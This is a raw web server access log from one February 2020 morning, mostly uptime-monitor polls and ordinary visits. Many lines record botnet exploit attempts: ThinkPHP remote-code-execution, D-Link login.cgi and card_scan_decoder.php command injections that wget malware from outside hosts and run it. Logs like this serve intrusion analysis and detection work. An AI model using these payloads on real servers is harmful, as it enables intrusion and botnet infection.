42.116.89.213 - - [03/Feb/2020:09:42:02 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:09:42:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
94.50.26.198 - - [03/Feb/2020:09:42:45 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:09:43:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:09:44:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.115.148.76 - - [03/Feb/2020:09:45:27 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:09:45:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:09:46:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:09:47:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:09:48:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:09:49:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:09:50:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:09:51:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.70.91.44 - - [03/Feb/2020:09:51:54 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:09:52:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:09:53:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:09:54:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:09:55:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:09:56:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
68.132.40.98 - - [03/Feb/2020:09:57:14 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
91.201.172.59 - - [03/Feb/2020:09:57:23 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
154.66.122.87 - - [03/Feb/2020:09:57:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [03/Feb/2020:09:57:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:09:58:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:09:59:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
58.92.103.40 - - [03/Feb/2020:09:59:36 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
1.55.57.143 - - [03/Feb/2020:10:00:30 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:10:00:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:10:01:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:10:02:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:10:03:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:10:04:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:10:05:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:10:06:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:10:07:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.172.151.106 - - [03/Feb/2020:10:07:50 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
59.21.46.176 - - [03/Feb/2020:10:08:23 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://packetsbins.000webhostapp.com/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [03/Feb/2020:10:08:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:10:09:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:10:10:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
195.103.133.46 - - [03/Feb/2020:10:11:04 +0100] "GET /card_scan_decoder.php?No=30&door=%60wget http://switchnets.net/hoho.arm7; chmod 777 hoho.arm7; ./hoho.arm7 linear%60 HTTP/1.1" 400 340 "-" "dark_NeXus_Qbot/4.0 (compatible; MSIE5.01; minerword NT)"
212.91.246.72 - - [03/Feb/2020:10:11:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:10:12:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:10:13:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.6.81.105 - - [03/Feb/2020:10:13:57 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [03/Feb/2020:10:14:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:10:15:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
113.186.65.21 - - [03/Feb/2020:10:15:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [03/Feb/2020:10:16:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
185.217.162.170 - - [03/Feb/2020:10:16:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [03/Feb/2020:10:17:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:10:18:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
190.28.111.56 - - [03/Feb/2020:10:19:11 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://scan.casualaffinity.net/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
212.91.246.72 - - [03/Feb/2020:10:19:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:10:20:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
88.201.179.77 - - [03/Feb/2020:10:21:20 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:10:21:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:10:22:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
119.65.255.134 - - [03/Feb/2020:10:22:39 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [03/Feb/2020:10:23:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:10:24:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
119.193.219.242 - - [03/Feb/2020:10:25:10 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:10:25:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
177.190.65.172 - - [03/Feb/2020:10:26:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [03/Feb/2020:10:26:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:10:27:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
123.213.122.46 - - [03/Feb/2020:10:28:08 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
125.24.138.156 - - [03/Feb/2020:10:28:12 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [03/Feb/2020:10:28:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:10:29:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:10:30:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:10:31:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:10:32:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:10:33:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
208.114.149.10 - - [03/Feb/2020:10:33:47 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:10:34:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
117.5.213.117 - - [03/Feb/2020:10:35:00 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:10:35:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:10:36:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.20.196 - - [03/Feb/2020:10:37:24 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:10:37:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:10:38:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:10:39:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
122.170.14.210 - - [03/Feb/2020:10:40:19 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://scan.casualaffinity.net/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:10:40:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:10:41:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:10:42:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
41.65.34.162 - - [03/Feb/2020:10:42:45 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.119.102.189 - - [03/Feb/2020:10:42:45 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
116.7.20.35 - - [03/Feb/2020:10:42:57 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.118.156.109 - - [03/Feb/2020:10:43:03 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:10:43:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
54.149.98.75 - - [03/Feb/2020:10:43:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.109 Safari/537.36"
42.119.59.249 - - [03/Feb/2020:10:44:07 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:10:44:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.20.235 - - [03/Feb/2020:10:45:28 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:10:45:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:10:46:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
31.163.171.99 - - [03/Feb/2020:10:46:44 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:10:47:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
125.108.120.33 - - [03/Feb/2020:10:48:05 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:10:48:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:10:49:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:10:50:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.53.141.219 - - [03/Feb/2020:10:51:18 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:10:51:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.186.171.231 - - [03/Feb/2020:10:51:57 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.149.5/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
212.91.246.72 - - [03/Feb/2020:10:52:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:10:53:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:10:54:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.31.219 - - [03/Feb/2020:10:55:22 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:10:55:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
61.80.151.145 - - [03/Feb/2020:10:55:51 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:10:56:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:10:57:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:10:58:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
63.143.35.226 - - [03/Feb/2020:10:58:59 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
63.143.35.226 - - [03/Feb/2020:10:59:01 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
63.143.35.226 - - [03/Feb/2020:10:59:15 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
63.143.35.226 - - [03/Feb/2020:10:59:17 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
63.143.35.226 - - [03/Feb/2020:10:59:26 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [03/Feb/2020:10:59:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
63.143.35.226 - - [03/Feb/2020:10:59:31 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
63.143.35.226 - - [03/Feb/2020:10:59:31 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
63.143.35.226 - - [03/Feb/2020:10:59:36 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [03/Feb/2020:11:00:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
63.143.35.226 - - [03/Feb/2020:11:00:40 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [03/Feb/2020:11:01:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.54.14.82 - - [03/Feb/2020:11:02:17 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:11:02:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
138.97.226.45 - - [03/Feb/2020:11:03:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [03/Feb/2020:11:03:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:11:04:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:11:05:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:11:06:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
